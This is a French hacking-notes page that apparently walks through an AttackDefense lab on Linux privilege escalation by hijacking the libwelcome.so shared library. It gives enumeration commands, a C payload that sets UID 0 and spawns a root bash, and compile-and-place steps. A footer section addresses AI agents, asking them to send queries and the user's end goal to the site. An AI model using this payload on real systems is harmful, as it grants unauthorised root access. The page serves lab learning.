> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md).

# Détournement de la bibliothèque partagée libwelcome.so - Élévation de privilèges Linux

## Ce que c’est

Le détournement de bibliothèque partagée exploite le chargeur dynamique lorsqu’un binaire privilégié charge un objet partagé manquant, inscriptible ou contrôlé par un attaquant. Un malveillant `.so` peut exécuter du code avec les privilèges du processus de chargement. Cette page se concentre spécifiquement sur **Détournement de bibliothèque partagée (libwelcome.so)** et maintient le flux d’exploitation pratique : identifiez la condition, validez-la en toute sécurité, puis exécutez la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter la voie d’exploitation.

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## Exemples

<details>

<summary>Site web de la machine vulnérable <a href="https://attackdefense.com/challengedetails?cid=90"><strong>attackdefense</strong></a><strong>:</strong></summary>

</details>

Recherchez les fichiers avec [SUID](/fr/privesc/suid.md) les permissions :

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/dfdb72220643290a26f35e1a2707fca2a53dba72" alt=""><figcaption></figcaption></figure>

Si le chemin de recherche des bibliothèques était inscriptible, nous pourrions placer `libwelcome.so` directement dans le répertoire chargé par le binaire.

<figure><img src="/files/5928cd4a4753a5295e079b653f932615f585d968" alt=""><figcaption></figcaption></figure>

En examinant les fichiers de configuration, nous pouvons voir que le chemin de la bibliothèque pointe vers un répertoire qui n’existe pas : `/home/student/lib`.

<figure><img src="/files/331b886341679717851984ebe640f8dfed00e407" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/69cc8d7cd3c4a035d740b423cdcbf321a597e490" alt=""><figcaption></figcaption></figure>

Créez le `lib` répertoire et placez un payload contrôlé `test.c` là :

<figure><img src="/files/f09f39778c8eaa60b3b26417118327dcf8a6a9a6" alt=""><figcaption></figcaption></figure>

Cet `test.c` Le payload ouvre un shell Bash en tant que root lorsque le binaire privilégié le charge :

```c
#include <stdio.h>
#include <unistd.h>

int welcome(){
        setuid(0);
        setgid(0);
        system("bash -p");
        return 0;
}
```

Compilez le payload en tant que `libwelcome.so` objet partagé attendu :

```bash
gcc -fPIC -shared test.c -o libwelcome.so
```

<figure><img src="/files/c1a3a20a8d456510156401f71dd45d86649f3563" alt=""><figcaption></figcaption></figure>

Déplacez l’objet partagé compilé dans le `lib` répertoire manquant et confirmez que le binaire le résout :

```bash
ldd /usr/bin/welcome
mv libwelcome.so lib
```

<figure><img src="/files/27e425281808a0ffa065e74150d0bb173e928693" alt=""><figcaption></figcaption></figure>

Exécutez `/usr/bin/welcome` à nouveau. Le binaire charge la bibliothèque malveillante et vous renvoie un shell Bash en tant que root :

<figure><img src="/files/288bde346e907c3c2315e27b766682b21ad68906" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
